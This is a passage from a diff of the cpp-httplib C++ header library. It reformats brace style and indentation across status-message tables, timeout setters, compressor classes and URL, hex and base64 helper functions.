StatusCode::ResetContent_205: return "Reset Content"; - case StatusCode::PartialContent_206: return "Partial Content"; - case StatusCode::MultiStatus_207: return "Multi-Status"; - case StatusCode::AlreadyReported_208: return "Already Reported"; - case StatusCode::IMUsed_226: return "IM Used"; - case StatusCode::MultipleChoices_300: return "Multiple Choices"; - case StatusCode::MovedPermanently_301: return "Moved Permanently"; - case StatusCode::Found_302: return "Found"; - case StatusCode::SeeOther_303: return "See Other"; - case StatusCode::NotModified_304: return "Not Modified"; - case StatusCode::UseProxy_305: return "Use Proxy"; - case StatusCode::unused_306: return "unused"; - case StatusCode::TemporaryRedirect_307: return "Temporary Redirect"; - case StatusCode::PermanentRedirect_308: return "Permanent Redirect"; - case StatusCode::BadRequest_400: return "Bad Request"; - case StatusCode::Unauthorized_401: return "Unauthorized"; - case StatusCode::PaymentRequired_402: return "Payment Required"; - case StatusCode::Forbidden_403: return "Forbidden"; - case StatusCode::NotFound_404: return "Not Found"; - case StatusCode::MethodNotAllowed_405: return "Method Not Allowed"; - case StatusCode::NotAcceptable_406: return "Not Acceptable"; - case StatusCode::ProxyAuthenticationRequired_407: - return "Proxy Authentication Required"; - case StatusCode::RequestTimeout_408: return "Request Timeout"; - case StatusCode::Conflict_409: return "Conflict"; - case StatusCode::Gone_410: return "Gone"; - case StatusCode::LengthRequired_411: return "Length Required"; - case StatusCode::PreconditionFailed_412: return "Precondition Failed"; - case StatusCode::PayloadTooLarge_413: return "Payload Too Large"; - case StatusCode::UriTooLong_414: return "URI Too Long"; - case StatusCode::UnsupportedMediaType_415: return "Unsupported Media Type"; - case StatusCode::RangeNotSatisfiable_416: return "Range Not Satisfiable"; - case StatusCode::ExpectationFailed_417: return "Expectation Failed"; - case StatusCode::ImATeapot_418: return "I'm a teapot"; - case StatusCode::MisdirectedRequest_421: return "Misdirected Request"; - case StatusCode::UnprocessableContent_422: return "Unprocessable Content"; - case StatusCode::Locked_423: return "Locked"; - case StatusCode::FailedDependency_424: return "Failed Dependency"; - case StatusCode::TooEarly_425: return "Too Early"; - case StatusCode::UpgradeRequired_426: return "Upgrade Required"; - case StatusCode::PreconditionRequired_428: return "Precondition Required"; - case StatusCode::TooManyRequests_429: return "Too Many Requests"; - case StatusCode::RequestHeaderFieldsTooLarge_431: - return "Request Header Fields Too Large"; - case StatusCode::UnavailableForLegalReasons_451: - return "Unavailable For Legal Reasons"; - case StatusCode::NotImplemented_501: return "Not Implemented"; - case StatusCode::BadGateway_502: return "Bad Gateway"; - case StatusCode::ServiceUnavailable_503: return "Service Unavailable"; - case StatusCode::GatewayTimeout_504: return "Gateway Timeout"; - case StatusCode::HttpVersionNotSupported_505: - return "HTTP Version Not Supported"; - case StatusCode::VariantAlsoNegotiates_506: return "Variant Also Negotiates"; - case StatusCode::InsufficientStorage_507: return "Insufficient Storage"; - case StatusCode::LoopDetected_508: return "Loop Detected"; - case StatusCode::NotExtended_510: return "Not Extended"; - case StatusCode::NetworkAuthenticationRequired_511: - return "Network Authentication Required"; +inline const char *status_message(int status) +{ + switch (status) { + case StatusCode::Continue_100: + return "Continue"; + case StatusCode::SwitchingProtocol_101: + return "Switching Protocol"; + case StatusCode::Processing_102: + return "Processing"; + case StatusCode::EarlyHints_103: + return "Early Hints"; + case StatusCode::OK_200: + return "OK"; + case StatusCode::Created_201: + return "Created"; + case StatusCode::Accepted_202: + return "Accepted"; + case StatusCode::NonAuthoritativeInformation_203: + return "Non-Authoritative Information"; + case StatusCode::NoContent_204: + return "No Content"; + case StatusCode::ResetContent_205: + return "Reset Content"; + case StatusCode::PartialContent_206: + return "Partial Content"; + case StatusCode::MultiStatus_207: + return "Multi-Status"; + case StatusCode::AlreadyReported_208: + return "Already Reported"; + case StatusCode::IMUsed_226: + return "IM Used"; + case StatusCode::MultipleChoices_300: + return "Multiple Choices"; + case StatusCode::MovedPermanently_301: + return "Moved Permanently"; + case StatusCode::Found_302: + return "Found"; + case StatusCode::SeeOther_303: + return "See Other"; + case StatusCode::NotModified_304: + return "Not Modified"; + case StatusCode::UseProxy_305: + return "Use Proxy"; + case StatusCode::unused_306: + return "unused"; + case StatusCode::TemporaryRedirect_307: + return "Temporary Redirect"; + case StatusCode::PermanentRedirect_308: + return "Permanent Redirect"; + case StatusCode::BadRequest_400: + return "Bad Request"; + case StatusCode::Unauthorized_401: + return "Unauthorized"; + case StatusCode::PaymentRequired_402: + return "Payment Required"; + case StatusCode::Forbidden_403: + return "Forbidden"; + case StatusCode::NotFound_404: + return "Not Found"; + case StatusCode::MethodNotAllowed_405: + return "Method Not Allowed"; + case StatusCode::NotAcceptable_406: + return "Not Acceptable"; + case StatusCode::ProxyAuthenticationRequired_407: + return "Proxy Authentication Required"; + case StatusCode::RequestTimeout_408: + return "Request Timeout"; + case StatusCode::Conflict_409: + return "Conflict"; + case StatusCode::Gone_410: + return "Gone"; + case StatusCode::LengthRequired_411: + return "Length Required"; + case StatusCode::PreconditionFailed_412: + return "Precondition Failed"; + case StatusCode::PayloadTooLarge_413: + return "Payload Too Large"; + case StatusCode::UriTooLong_414: + return "URI Too Long"; + case StatusCode::UnsupportedMediaType_415: + return "Unsupported Media Type"; + case StatusCode::RangeNotSatisfiable_416: + return "Range Not Satisfiable"; + case StatusCode::ExpectationFailed_417: + return "Expectation Failed"; + case StatusCode::ImATeapot_418: + return "I'm a teapot"; + case StatusCode::MisdirectedRequest_421: + return "Misdirected Request"; + case StatusCode::UnprocessableContent_422: + return "Unprocessable Content"; + case StatusCode::Locked_423: + return "Locked"; + case StatusCode::FailedDependency_424: + return "Failed Dependency"; + case StatusCode::TooEarly_425: + return "Too Early"; + case StatusCode::UpgradeRequired_426: + return "Upgrade Required"; + case StatusCode::PreconditionRequired_428: + return "Precondition Required"; + case StatusCode::TooManyRequests_429: + return "Too Many Requests"; + case StatusCode::RequestHeaderFieldsTooLarge_431: + return "Request Header Fields Too Large"; + case StatusCode::UnavailableForLegalReasons_451: + return "Unavailable For Legal Reasons"; + case StatusCode::NotImplemented_501: + return "Not Implemented"; + case StatusCode::BadGateway_502: + return "Bad Gateway"; + case StatusCode::ServiceUnavailable_503: + return "Service Unavailable"; + case StatusCode::GatewayTimeout_504: + return "Gateway Timeout"; + case StatusCode::HttpVersionNotSupported_505: + return "HTTP Version Not Supported"; + case StatusCode::VariantAlsoNegotiates_506: + return "Variant Also Negotiates"; + case StatusCode::InsufficientStorage_507: + return "Insufficient Storage"; + case StatusCode::LoopDetected_508: + return "Loop Detected"; + case StatusCode::NotExtended_510: + return "Not Extended"; + case StatusCode::NetworkAuthenticationRequired_511: + return "Network Authentication Required"; - default: - case StatusCode::InternalServerError_500: return "Internal Server Error"; - } + default: + case StatusCode::InternalServerError_500: + return "Internal Server Error"; + } } template inline Server & -Server::set_read_timeout(const std::chrono::duration &duration) { - detail::duration_to_sec_and_usec( - duration, [&](time_t sec, time_t usec) { set_read_timeout(sec, usec); }); - return *this; +Server::set_read_timeout(const std::chrono::duration &duration) +{ + detail::duration_to_sec_and_usec( + duration, [&](time_t sec, time_t usec) { + set_read_timeout(sec, usec); + }); + return *this; } template inline Server & -Server::set_write_timeout(const std::chrono::duration &duration) { - detail::duration_to_sec_and_usec( - duration, [&](time_t sec, time_t usec) { set_write_timeout(sec, usec); }); - return *this; +Server::set_write_timeout(const std::chrono::duration &duration) +{ + detail::duration_to_sec_and_usec( + duration, [&](time_t sec, time_t usec) { + set_write_timeout(sec, usec); + }); + return *this; } template inline Server & -Server::set_idle_interval(const std::chrono::duration &duration) { - detail::duration_to_sec_and_usec( - duration, [&](time_t sec, time_t usec) { set_idle_interval(sec, usec); }); - return *this; +Server::set_idle_interval(const std::chrono::duration &duration) +{ + detail::duration_to_sec_and_usec( + duration, [&](time_t sec, time_t usec) { + set_idle_interval(sec, usec); + }); + return *this; } -inline std::string to_string(const Error error) { - switch (error) { - case Error::Success: return "Success (no error)"; - case Error::Connection: return "Could not establish connection"; - case Error::BindIPAddress: return "Failed to bind IP address"; - case Error::Read: return "Failed to read connection"; - case Error::Write: return "Failed to write connection"; - case Error::ExceedRedirectCount: return "Maximum redirect count exceeded"; - case Error::Canceled: return "Connection handling canceled"; - case Error::SSLConnection: return "SSL connection failed"; - case Error::SSLLoadingCerts: return "SSL certificate loading failed"; - case Error::SSLServerVerification: return "SSL server verification failed"; - case Error::UnsupportedMultipartBoundaryChars: - return "Unsupported HTTP multipart boundary characters"; - case Error::Compression: return "Compression failed"; - case Error::ConnectionTimeout: return "Connection timed out"; - case Error::ProxyConnection: return "Proxy connection failed"; - case Error::Unknown: return "Unknown"; - default: break; - } +inline std::string to_string(const Error error) +{ + switch (error) { + case Error::Success: + return "Success (no error)"; + case Error::Connection: + return "Could not establish connection"; + case Error::BindIPAddress: + return "Failed to bind IP address"; + case Error::Read: + return "Failed to read connection"; + case Error::Write: + return "Failed to write connection"; + case Error::ExceedRedirectCount: + return "Maximum redirect count exceeded"; + case Error::Canceled: + return "Connection handling canceled"; + case Error::SSLConnection: + return "SSL connection failed"; + case Error::SSLLoadingCerts: + return "SSL certificate loading failed"; + case Error::SSLServerVerification: + return "SSL server verification failed"; + case Error::UnsupportedMultipartBoundaryChars: + return "Unsupported HTTP multipart boundary characters"; + case Error::Compression: + return "Compression failed"; + case Error::ConnectionTimeout: + return "Connection timed out"; + case Error::ProxyConnection: + return "Proxy connection failed"; + case Error::Unknown: + return "Unknown"; + default: + break; + } - return "Invalid"; + return "Invalid"; } -inline std::ostream &operator<<(std::ostream &os, const Error &obj) { - os << to_string(obj); - os << " (" << static_cast::type>(obj) << ')'; - return os; +inline std::ostream &operator<<(std::ostream &os, const Error &obj) +{ + os << to_string(obj); + os << " (" << static_cast::type>(obj) << ')'; + return os; } inline uint64_t Result::get_request_header_value_u64(const std::string &key, - size_t id) const { - return detail::get_header_value_u64(request_headers_, key, id, 0); + size_t id) const +{ + return detail::get_header_value_u64(request_headers_, key, id, 0); } template inline void ClientImpl::set_connection_timeout( - const std::chrono::duration &duration) { - detail::duration_to_sec_and_usec(duration, [&](time_t sec, time_t usec) { - set_connection_timeout(sec, usec); - }); + const std::chrono::duration &duration) +{ + detail::duration_to_sec_and_usec(duration, [&](time_t sec, time_t usec) { + set_connection_timeout(sec, usec); + }); } template inline void ClientImpl::set_read_timeout( - const std::chrono::duration &duration) { - detail::duration_to_sec_and_usec( - duration, [&](time_t sec, time_t usec) { set_read_timeout(sec, usec); }); + const std::chrono::duration &duration) +{ + detail::duration_to_sec_and_usec( + duration, [&](time_t sec, time_t usec) { + set_read_timeout(sec, usec); + }); } template inline void ClientImpl::set_write_timeout( - const std::chrono::duration &duration) { - detail::duration_to_sec_and_usec( - duration, [&](time_t sec, time_t usec) { set_write_timeout(sec, usec); }); + const std::chrono::duration &duration) +{ + detail::duration_to_sec_and_usec( + duration, [&](time_t sec, time_t usec) { + set_write_timeout(sec, usec); + }); } template inline void Client::set_connection_timeout( - const std::chrono::duration &duration) { - cli_->set_connection_timeout(duration); + const std::chrono::duration &duration) +{ + cli_->set_connection_timeout(duration); } template inline void -Client::set_read_timeout(const std::chrono::duration &duration) { - cli_->set_read_timeout(duration); +Client::set_read_timeout(const std::chrono::duration &duration) +{ + cli_->set_read_timeout(duration); } template inline void -Client::set_write_timeout(const std::chrono::duration &duration) { - cli_->set_write_timeout(duration); +Client::set_write_timeout(const std::chrono::duration &duration) +{ + cli_->set_write_timeout(duration); } /* @@ -2059,7 +2234,8 @@ make_basic_authentication_header(const std::string &username, const std::string &password, bool is_proxy = false); -namespace detail { +namespace detail +{ std::string encode_query_param(const std::string &value); @@ -2109,155 +2285,165 @@ enum class EncodingType { None = 0, Gzip, Brotli }; EncodingType encoding_type(const Request &req, const Response &res); -class BufferStream : public Stream { +class BufferStream : public Stream +{ public: - BufferStream() = default; - ~BufferStream() override = default; + BufferStream() = default; + ~BufferStream() override = default; - bool is_readable() const override; - bool is_writable() const override; - ssize_t read(char *ptr, size_t size) override; - ssize_t write(const char *ptr, size_t size) override; - void get_remote_ip_and_port(std::string &ip, int &port) const override; - void get_local_ip_and_port(std::string &ip, int &port) const override; - socket_t socket() const override; + bool is_readable() const override; + bool is_writable() const override; + ssize_t read(char *ptr, size_t size) override; + ssize_t write(const char *ptr, size_t size) override; + void get_remote_ip_and_port(std::string &ip, int &port) const override; + void get_local_ip_and_port(std::string &ip, int &port) const override; + socket_t socket() const override; - const std::string &get_buffer() const; + const std::string &get_buffer() const; private: - std::string buffer; - size_t position = 0; + std::string buffer; + size_t position = 0; }; -class compressor { +class compressor +{ public: - virtual ~compressor() = default; + virtual ~compressor() = default; - typedef std::function Callback; - virtual bool compress(const char *data, size_t data_length, bool last, - Callback callback) = 0; -}; - -class decompressor { -public: - virtual ~decompressor() = default; - - virtual bool is_valid() const = 0; - - typedef std::function Callback; - virtual bool decompress(const char *data, size_t data_length, + typedef std::function Callback; + virtual bool compress(const char *data, size_t data_length, bool last, Callback callback) = 0; }; -class nocompressor : public compressor { +class decompressor +{ public: - ~nocompressor() override = default; + virtual ~decompressor() = default; - bool compress(const char *data, size_t data_length, bool /*last*/, - Callback callback) override; + virtual bool is_valid() const = 0; + + typedef std::function Callback; + virtual bool decompress(const char *data, size_t data_length, + Callback callback) = 0; +}; + +class nocompressor : public compressor +{ +public: + ~nocompressor() override = default; + + bool compress(const char *data, size_t data_length, bool /*last*/, + Callback callback) override; }; #ifdef CPPHTTPLIB_ZLIB_SUPPORT -class gzip_compressor : public compressor { +class gzip_compressor : public compressor +{ public: - gzip_compressor(); - ~gzip_compressor() override; + gzip_compressor(); + ~gzip_compressor() override; - bool compress(const char *data, size_t data_length, bool last, - Callback callback) override; - -private: - bool is_valid_ = false; - z_stream strm_; -}; - -class gzip_decompressor : public decompressor { -public: - gzip_decompressor(); - ~gzip_decompressor() override; - - bool is_valid() const override; - - bool decompress(const char *data, size_t data_length, + bool compress(const char *data, size_t data_length, bool last, Callback callback) override; private: - bool is_valid_ = false; - z_stream strm_; + bool is_valid_ = false; + z_stream strm_; +}; + +class gzip_decompressor : public decompressor +{ +public: + gzip_decompressor(); + ~gzip_decompressor() override; + + bool is_valid() const override; + + bool decompress(const char *data, size_t data_length, + Callback callback) override; + +private: + bool is_valid_ = false; + z_stream strm_; }; #endif #ifdef CPPHTTPLIB_BROTLI_SUPPORT -class brotli_compressor : public compressor { +class brotli_compressor : public compressor +{ public: - brotli_compressor(); - ~brotli_compressor(); + brotli_compressor(); + ~brotli_compressor(); - bool compress(const char *data, size_t data_length, bool last, - Callback callback) override; - -private: - BrotliEncoderState *state_ = nullptr; -}; - -class brotli_decompressor : public decompressor { -public: - brotli_decompressor(); - ~brotli_decompressor(); - - bool is_valid() const override; - - bool decompress(const char *data, size_t data_length, + bool compress(const char *data, size_t data_length, bool last, Callback callback) override; private: - BrotliDecoderResult decoder_r; - BrotliDecoderState *decoder_s = nullptr; + BrotliEncoderState *state_ = nullptr; +}; + +class brotli_decompressor : public decompressor +{ +public: + brotli_decompressor(); + ~brotli_decompressor(); + + bool is_valid() const override; + + bool decompress(const char *data, size_t data_length, + Callback callback) override; + +private: + BrotliDecoderResult decoder_r; + BrotliDecoderState *decoder_s = nullptr; }; #endif // NOTE: until the read size reaches `fixed_buffer_size`, use `fixed_buffer` // to store data. The call can set memory on stack for performance. -class stream_line_reader { +class stream_line_reader +{ public: - stream_line_reader(Stream &strm, char *fixed_buffer, - size_t fixed_buffer_size); - const char *ptr() const; - size_t size() const; - bool end_with_crlf() const; - bool getline(); + stream_line_reader(Stream &strm, char *fixed_buffer, + size_t fixed_buffer_size); + const char *ptr() const; + size_t size() const; + bool end_with_crlf() const; + bool getline(); private: - void append(char c); + void append(char c); - Stream &strm_; - char *fixed_buffer_; - const size_t fixed_buffer_size_; - size_t fixed_buffer_used_size_ = 0; - std::string glowable_buffer_; + Stream &strm_; + char *fixed_buffer_; + const size_t fixed_buffer_size_; + size_t fixed_buffer_used_size_ = 0; + std::string glowable_buffer_; }; -class mmap { +class mmap +{ public: - mmap(const char *path); - ~mmap(); + mmap(const char *path); + ~mmap(); - bool open(const char *path); - void close(); + bool open(const char *path); + void close(); - bool is_open() const; - size_t size() const; - const char *data() const; + bool is_open() const; + size_t size() const; + const char *data() const; private: #if defined(_WIN32) - HANDLE hFile_; - HANDLE hMapping_; + HANDLE hFile_; + HANDLE hMapping_; #else - int fd_; + int fd_; #endif - size_t size_; - void *addr_; + size_t size_; + void *addr_; }; } // namespace detail @@ -2268,383 +2454,442 @@ private: * Implementation that will be part of the .cc file if split into .h + .cc. */ -namespace detail { +namespace detail +{ -inline bool is_hex(char c, int &v) { - if (0x20 <= c && isdigit(c)) { - v = c - '0'; - return true; - } else if ('A' <= c && c <= 'F') { - v = c - 'A' + 10; - return true; - } else if ('a' <= c && c <= 'f') { - v = c - 'a' + 10; - return true; - } - return false; +inline bool is_hex(char c, int &v) +{ + if (0x20 <= c && isdigit(c)) { + v = c - '0'; + return true; + } else if ('A' <= c && c <= 'F') { + v = c - 'A' + 10; + return true; + } else if ('a' <= c && c <= 'f') { + v = c - 'a' + 10; + return true; + } + return false; } inline bool from_hex_to_i(const std::string &s, size_t i, size_t cnt, - int &val) { - if (i >= s.size()) { return false; } - - val = 0; - for (; cnt; i++, cnt--) { - if (!s[i]) { return false; } - auto v = 0; - if (is_hex(s[i], v)) { - val = val * 16 + v; - } else { - return false; + int &val) +{ + if (i >= s.size()) { + return false; } - } - return true; + + val = 0; + for (; cnt; i++, cnt--) { + if (!s[i]) { + return false; + } + auto v = 0; + if (is_hex(s[i], v)) { + val = val * 16 + v; + } else { + return false; + } + } + return true; } -inline std::string from_i_to_hex(size_t n) { - static const auto charset = "0123456789abcdef"; - std::string ret; - do { - ret = charset[n & 15] + ret; - n >>= 4; - } while (n > 0); - return ret; +inline std::string from_i_to_hex(size_t n) +{ + static const auto charset = "0123456789abcdef"; + std::string ret; + do { + ret = charset[n & 15] + ret; + n >>= 4; + } while (n > 0); + return ret; } -inline size_t to_utf8(int code, char *buff) { - if (code < 0x0080) { - buff[0] = static_cast(code & 0x7F); - return 1; - } else if (code < 0x0800) { - buff[0] = static_cast(0xC0 | ((code >> 6) & 0x1F)); - buff[1] = static_cast(0x80 | (code & 0x3F)); - return 2; - } else if (code < 0xD800) { - buff[0] = static_cast(0xE0 | ((code >> 12) & 0xF)); - buff[1] = static_cast(0x80 | ((code >> 6) & 0x3F)); - buff[2] = static_cast(0x80 | (code & 0x3F)); - return 3; - } else if (code < 0xE000) { // D800 - DFFF is invalid... +inline size_t to_utf8(int code, char *buff) +{ + if (code < 0x0080) { + buff[0] = static_cast(code & 0x7F); + return 1; + } else if (code < 0x0800) { + buff[0] = static_cast(0xC0 | ((code >> 6) & 0x1F)); + buff[1] = static_cast(0x80 | (code & 0x3F)); + return 2; + } else if (code < 0xD800) { + buff[0] = static_cast(0xE0 | ((code >> 12) & 0xF)); + buff[1] = static_cast(0x80 | ((code >> 6) & 0x3F)); + buff[2] = static_cast(0x80 | (code & 0x3F)); + return 3; + } else if (code < 0xE000) { // D800 - DFFF is invalid... + return 0; + } else if (code < 0x10000) { + buff[0] = static_cast(0xE0 | ((code >> 12) & 0xF)); + buff[1] = static_cast(0x80 | ((code >> 6) & 0x3F)); + buff[2] = static_cast(0x80 | (code & 0x3F)); + return 3; + } else if (code < 0x110000) { + buff[0] = static_cast(0xF0 | ((code >> 18) & 0x7)); + buff[1] = static_cast(0x80 | ((code >> 12) & 0x3F)); + buff[2] = static_cast(0x80 | ((code >> 6) & 0x3F)); + buff[3] = static_cast(0x80 | (code & 0x3F)); + return 4; + } + + // NOTREACHED return 0; - } else if (code < 0x10000) { - buff[0] = static_cast(0xE0 | ((code >> 12) & 0xF)); - buff[1] = static_cast(0x80 | ((code >> 6) & 0x3F)); - buff[2] = static_cast(0x80 | (code & 0x3F)); - return 3; - } else if (code < 0x110000) { - buff[0] = static_cast(0xF0 | ((code >> 18) & 0x7)); - buff[1] = static_cast(0x80 | ((code >> 12) & 0x3F)); - buff[2] = static_cast(0x80 | ((code >> 6) & 0x3F)); - buff[3] = static_cast(0x80 | (code & 0x3F)); - return 4; - } - - // NOTREACHED - return 0; } // NOTE: This code came up with the following stackoverflow post: // https://stackoverflow.com/questions/180947/base64-decode-snippet-in-c -inline std::string base64_encode(const std::string &in) { - static const auto lookup = - "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; +inline std::string base64_encode(const std::string &in) +{ + static const auto lookup = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; - std::string out; - out.reserve(in.size()); + std::string out; + out.reserve(in.size()); - auto val = 0; - auto valb = -6; + auto val = 0; + auto valb = -6; - for (auto c : in) { - val = (val << 8) + static_cast(c); - valb += 8; - while (valb >= 0) { - out.push_back(lookup[(val >> valb) & 0x3F]); - valb -= 6; + for (auto c : in) { + val = (val << 8) + static_cast(c); + valb += 8; + while (valb >= 0) { + out.push_back(lookup[(val >> valb) & 0x3F]); + valb -= 6; + } } - } - if (valb > -6) { out.push_back(lookup[((val << 8) >> (valb + 8)) & 0x3F]); } + if (valb > -6) { + out.push_back(lookup[((val << 8) >> (valb + 8)) & 0x3F]); + } - while (out.size() % 4) { - out.push_back('='); - } + while (out.size() % 4) { + out.push_back('='); + } - return out; + return out; } -inline bool is_file(const std::string &path) { +inline bool is_file(const std::string &path) +{ #ifdef _WIN32 - return _access_s(path.c_str(), 0) == 0; + return _access_s(path.c_str(), 0) == 0; #else - struct stat st; - return stat(path.c_str(), &st) >= 0 && S_ISREG(st.st_mode); + struct stat st; + return stat(path.c_str(), &st) >= 0 && S_ISREG(st.st_mode); #endif } -inline bool is_dir(const std::string &path) { - struct stat st; - return stat(path.c_str(), &st) >= 0 && S_ISDIR(st.st_mode); +inline bool is_dir(const std::string &path) +{ + struct stat st; + return stat(path.c_str(), &st) >= 0 && S_ISDIR(st.st_mode); } -inline bool is_valid_path(const std::string &path) { - size_t level = 0; - size_t i = 0; - - // Skip slash - while (i < path.size() && path[i] == '/') { - i++; - } - - while (i < path.size()) { - // Read component - auto beg = i; - while (i < path.size() && path[i] != '/') { - i++; - } - - auto len = i - beg; - assert(len > 0); - - if (!path.compare(beg, len, ".")) { - ; - } else if (!path.compare(beg, len, "..")) { - if (level == 0) { return false; } - level--; - } else { - level++; - } +inline bool is_valid_path(const std::string &path) +{ + size_t level = 0; + size_t i = 0; // Skip slash while (i < path.size() && path[i] == '/') { - i++; + i++; } - } - return true; + while (i < path.size()) { + // Read component + auto beg = i; + while (i < path.size() && path[i] != '/') { + i++; + } + + auto len = i - beg; + assert(len > 0); + + if (!path.compare(beg, len, ".")) { + ; + } else if (!path.compare(beg, len, "..")) { + if (level == 0) { + return false; + } + level--; + } else { + level++; + } + + // Skip slash + while (i < path.size() && path[i] == '/') { + i++; + } + } + + return true; } -inline std::string encode_query_param(const std::string &value) { - std::ostringstream escaped; - escaped.fill('0'); - escaped << std::hex; +inline std::string encode_query_param(const std::string &value) +{ + std::ostringstream escaped; + escaped.fill('0'); + escaped << std::hex; - for (auto c : value) { - if (std::isalnum(static_cast(c)) || c == '-' || c == '_' || - c == '.' || c == '!' || c == '~' || c == '*' || c == '\'' || c == '(' || - c == ')') { - escaped << c; - } else { - escaped << std::uppercase; - escaped << '%' << std::setw(2) - << static_cast(static_cast(c)); - escaped << std::nouppercase; + for (auto c : value) { + if (std::isalnum(static_cast(c)) || c == '-' || c == '_' || + c == '.' || c == '!' || c == '~' || c == '*' || c == '\'' || c == '(' || + c == ')') { + escaped << c; + } else { + escaped << std::uppercase; + escaped << '%' << std::setw(2) + << static_cast(static_cast(c)); + escaped << std::nouppercase; + } } - } - return escaped.str(); + return escaped.str(); } -inline std::string encode_url(const std::string &s) { - std::string result; - result.reserve(s.size()); +inline std::string encode_url(const std::string &s) +{ + std::string result; + result.reserve(s.size()); - for (size_t i = 0; s[i]; i++) { - switch (s[i]) { - case ' ': result += "%20"; break; - case '+': result += "%2B"; break; - case '\r': result += "%0D"; break; - case '\n': result += "%0A"; break; - case '\'': result += "%27"; break; - case ',': result += "%2C"; break; - // case ':': result += "%3A"; break; // ok? probably... - case ';': result += "%3B"; break; - default: - auto c = static_cast(s[i]); - if (c >= 0x80) { - result += '%'; - char hex[4]; - auto len = snprintf(hex, sizeof(hex) - 1, "%02X", c); - assert(len == 2); - result.append(hex, static_cast(len)); - } else { - result += s[i]; - } - break; + for (size_t i = 0; s[i]; i++) { + switch (s[i]) { + case ' ': + result += "%20"; + break; + case '+': + result += "%2B"; + break; + case '\r': + result += "%0D"; + break; + case '\n': + result += "%0A"; + break; + case '\'': + result += "%27"; + break; + case ',': + result += "%2C"; + break; + // case ':': result += "%3A"; break; // ok? probably... + case ';': + result += "%3B"; + break; + default: + auto c = static_cast(s[i]); + if (c >= 0x80) { + result += '%'; + char hex[4]; + auto len = snprintf(hex, sizeof(hex) - 1, "%02X", c); + assert(len == 2); + result.append(hex, static_cast(len)); + } else { + result += s[i]; + } + break; + } } - } - return result; + return result; } inline std::string decode_url(const std::string &s, - bool convert_plus_to_space) { - std::string result; + bool convert_plus_to_space) +{ + std::string result; - for (size_t i = 0; i < s.size(); i++) { - if (s[i] == '%' && i + 1 < s.size()) { - if (s[i + 1] == 'u') { - auto val = 0; - if (from_hex_to_i(s, i + 2, 4, val)) { - // 4 digits Unicode codes - char buff[4]; - size_t len = to_utf8(val, buff); - if (len > 0) { result.append(buff, len); } - i += 5; // 'u0000' + for (size_t i = 0; i < s.size(); i++) { + if (s[i] == '%' && i + 1 < s.size()) { + if (s[i + 1] == 'u') { + auto val = 0; + if (from_hex_to_i(s, i + 2, 4, val)) { + // 4 digits Unicode codes + char buff[4]; + size_t len = to_utf8(val, buff); + if (len > 0) { + result.append(buff, len); + } + i += 5; // 'u0000' + } else { + result += s[i]; + } + } else { + auto val = 0; + if (from_hex_to_i(s, i + 1, 2, val)) { + // 2 digits hex codes + result += static_cast(val); + i += 2; // '00' + } else { + result += s[i]; + } + } + } else if (convert_plus_to_space && s[i] == '+') { + result += ' '; } else { - result += s[i]; + result += s[i]; } - } else { - auto val = 0; - if (from_hex_to_i(s, i + 1, 2, val)) { - // 2 digits hex codes - result += static_cast(val); - i += 2; // '00' - } else { - result += s[i]; - } - } - } else if (convert_plus_to_space && s[i] == '+') { - result += ' '; - } else { - result += s[i]; } - } - return result; + return result; } -inline void read_file(const std::string &path, std::string &out) { - std::ifstream fs(path, std::ios_base::binary); - fs.seekg(0, std::ios_base::end); - auto size = fs.tellg(); - fs.seekg(0); - out.resize(static_cast(size)); - fs.read(&out[0], static_cast(size)); +inline void read_file(const std::string &path, std::string &out) +{ + std::ifstream fs(path, std::ios_base::binary); + fs.seekg(0, std::ios_base::end); + auto size = fs.tellg(); + fs.seekg(0); + out.resize(static_cast(size)); + fs.read(&out[0], static_cast(size)); } -inline std::string file_extension(const std::string &path) { - std::smatch m; - static auto re = std::regex("\\.([a-zA-Z0-9]+)$"); - if (std::regex_search(path, m, re)) { return m[1].str(); } - return std::string(); +inline std::string file_extension(const std::string &path) +{ + std::smatch m; + static auto re = std::regex("\\.([a-zA-Z0-9]+)$"); + if (std::regex_search(path, m, re)) { + return m[1].str(); + } + return std::string(); } -inline bool is_space_or_tab(char c) { return c == ' ' || c == '\t'; } +inline bool is_space_or_tab(char c) +{ + return c == ' ' || c == '\t'; +} inline std::pair trim(const char *b, const char *e, size_t left, - size_t right) { - while (b + left < e && is_space_or_tab(b[left])) { - left++; - } - while (right > 0 && is_space_or_tab(b[right - 1])) { - right--; - } - return std::make_pair(left, right); + size_t right) +{ + while (b + left < e && is_space_or_tab(b[left])) { + left++; + } + while (right > 0 && is_space_or_tab(b[right - 1])) { + right--; + } + return std::make_pair(left, right); } -inline std::string trim_copy(const std::string &s) { - auto r = trim(s.data(), s.data() + s.size(), 0, s.size()); - return s.substr(r.first, r.second - r.first); +inline std::string trim_copy(const std::string &s) +{ + auto r = trim(s.data(), s.data() + s.size(), 0, s.size()); + return s.substr(r.first, r.second - r.first); } -inline std::string trim_double_quotes_copy(const std::string &s) { - if (s.length() >= 2 && s.front() == '"' && s.back() == '"') { - return s.substr(1, s.size() - 2); - } - return s; +inline std::string trim_double_quotes_copy(const std::string &s) +{ + if (s.length() >= 2 && s.front() == '"' && s.back() == '"') { + return s.substr(1, s.size() - 2); + } + return s; } inline void split(const char *b, const char *e, char d, - std::function fn) { - return split(b, e, d, std::numeric_limits::max(), fn); + std::function fn) +{ + return split(b, e, d, std::numeric_limits::max(), fn); } inline void split(const char *b, const char *e, char d, size_t m, - std::function fn) { - size_t i = 0; - size_t beg = 0; - size_t count = 1; + std::function fn) +{ + size_t i = 0; + size_t beg = 0; + size_t count = 1; - while (e ? (b + i < e) : (b[i] != '\0')) { - if (b[i] == d && count < m) { - auto r = trim(b, e, beg, i); - if (r.first < r.second) { fn(&b[r.first], &b[r.second]); } - beg = i + 1; - count++; + while (e ? (b + i < e) : (b[i] != '\0')) { + if (b[i] == d && count < m) { + auto r = trim(b, e, beg, i); + if (r.first < r.second) { + fn(&b[r.first], &b[r.second]); + } + beg = i + 1; + count++; + } + i++; } - i++; - } - if (i) { - auto r = trim(b, e, beg, i); - if (r.first < r.second) { fn(&b[r.first], &b[r.second]); } - } + if (i) { + auto r = trim(b, e, beg, i); + if (r.first < r.second) { + fn(&b[r.first], &b[r.second]); + } + } } inline stream_line_reader::stream_line_reader(Stream &strm, char *fixed_buffer, - size_t fixed_buffer_size) + size_t fixed_buffer_size) : strm_(strm), fixed_buffer_(fixed_buffer), fixed_buffer_size_(fixed_buffer_size) {} -inline const char *stream_line_reader::ptr() const { - if 